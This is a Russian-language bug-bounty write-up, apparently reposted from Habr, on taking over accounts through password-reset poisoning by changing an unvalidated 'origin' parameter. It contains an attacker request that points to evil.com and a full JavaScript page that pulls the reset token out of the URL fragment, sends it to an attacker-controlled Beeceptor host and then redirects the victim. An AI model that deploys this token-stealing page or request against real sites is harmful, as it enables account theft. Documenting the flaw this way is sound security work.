Захват учетной записи через отравление сброса пароля

Моя цель - предложение широкого ассортимента товаров и услуг на постоянно высоком качестве обслуживания по самым выгодным ценам.

Как охотники за ошибками, мы видим, как приложения снова и снова совершают одни и те же ошибки. Одна из них — позволить пользователям контролировать то, что они не должны. Сброс пароля являются перспективной мишенью. Если приложение позволяет данным, вводимым пользователем, влиять на электронное письмо для сброса пароля (например изменять URL-адреса перенаправления или внедрять параметры), им можно злоупотреблять для перехвата учетных данных. Злоумышленники могут настроить входные данные так, чтобы отправить пользователей на вредоносный сайт вместо законной страницы сброса, украсть токен и завладеть учетными данными. Это не теория — это происходит постоянно, особенно в плохо защищенных  приложениях.

Как это работает?

Процесс сброса паролей обычно выполняются следующим образом:

1) Генерируется токен сброса.

2) Отправляется письмо со ссылкой для сброса, содержащей этот токен.

3) Когда пользователь щелкает ссылку, токен проходит проверку.

4) Пользователю разрешается установить новый пароль.

Проблема возникает, когда:

1) Приложение позволяет управлять пользовательским вводом, а именно redirect_uri или origin.

2) Бэкенд не проверяет или не ограничивает эти параметры должным образом.

3) Токен сброса попадает в URL-адрес, контролируемый злоумышленником.

Если злоумышленник может внедрить свой собственный URL-адрес в электронное письмо для сброса, он может обманом заставить пользователей перейти по вредоносной ссылке и украсть токен сброса. Как только он получат его, он может завладеть учетной записью жертвы.

Мой сценарий: Эксплуатация параметра origin

Обычный запрос:

POST /api/reset-password HTTP/1.1

Host: victim-website.com

Content-Type: application/json

{

    "email": "victim@example.com",

    "origin": "https://victim-website.com"

}

Здесь все нормально, параметр origin установлен на официальную страницу сброса.

Запрос атакующего:

POST /api/reset-password HTTP/1.1

Host: victim-website.com

Content-Type: application/json

{

    "email": "victim@example.com",

    "origin": "https://evil.com"

}

Видите, что изменилось? Я заменил параметр origin на "evil.com". Если приложение не проверит должным образом параметр origin, электронное письмо для сброса будет содержать https://evil.com вместо реального URL-адреса сброса. И да, как я и ожидал, так и случилось!


Следующий шаг — извлечение токена.

Итак, я использовал свой Burp Collaborator вместо "evil.com". Затем, после того, как я получил письмо и нажал на URL, я проверил запрос, который пришел на мой Collaborator. Но вот проблема… почему токен не был отправлен?

Все, что стоит после # в URL, называется идентификатором фрагмента. Фрагменты обрабатываются только на стороне клиента и не отправляются на сервер в виде HTTP-запросов. Вот почему мой коллаборант не получил токен.

Извлечение токенов для сброса пароля с помощью JavaScript

Чтобы воспользоваться утечкой токена сброса пароля, я создал вредоносную страницу, которая автоматически извлекает токен из URL-адреса и отправляет его на мой сервер. Я разместил этот код на Beeceptor.com, что позволило мне перехватывать входящие запросы и анализировать украденные токены.

<!DOCTYPE html>

<html>

<head>

    <title>Extracting Token...</title>

    <script>

        // Extract token from the URL fragment

        var token = window.location.hash.substring(1);

        // Send the token to my server

        if (token) {

            fetch("https://XXXXX.free.beeceptor.com/?token=" + encodeURIComponent(token))

                .then(() => {

                    window.location.href = "https://victim-website.com"; // Redirect after logging the token

                })

                .catch(() => {

                    window.location.href = "https://victim-website.com"; // Redirect even if fetch fails

                });

        } else {

            window.location.href = "https://victim-website.com"; // Redirect if no token is found

        }

    </script>

</head>

</html>

Таким образом, обновленное значение параметра origin будет таким: "origin":"https://XXXXX.free.beeceptor.com/extract", где размещен предыдущий код. Как только жертва нажимает на ссылку сброса (https://XXXXX.free.beeceptor.com/extract/#/reset-token), скрипт захватывает токен из фрагмента URL (#reset-token), и снова отправляет его на мой сервер beeceptor, а затем перенаправляет жертву на главную страницу, чтобы избежать подозрений.


Теперь я могу использовать токен для изменения пароля жертвы. Bingooo - аккаунт захвачен!!!

Ещё больше познавательного контента в Telegram-канале — Life-Hack - Хакер

Источник: https://habr.com/ru/articles/885064/


Интересные статьи

Интересные статьи

За последние пару лет мы вложили немало времени и ресурсов на прототипирование макросов, и мы приняли трудное решение прекратить над ними работу.
Российский сервис управления бизнес‑процессами «Битрикс24» представил новую версию собственной ИИ‑модели — BitrixGPT 4x, созданную для упрощения выполнения повседневных задач пользователями....
Всем привет! Меня зовут Илья, я разработчик в Битрикс24. В последнее время наша команда стремится быть прозрачнее и делиться изменениями в продукте. Мы хотим, чтобы разработчики, использующие Битрикс2...
В процессе разработки почти любого приложения необходим удобный механизм по работе с данными из БД. В данной статье речь пойдет о таком расширении для СMS Bitrix, как alexpr94/bitrix-models, устанавли...
В нашем новом дайджесте изменения в App Store и иконки для visionOS, почему Google Play Protect посчитал 2ГИС вредоносным ПО, измерение производительности мобильных приложений в Booking, cамые скачива...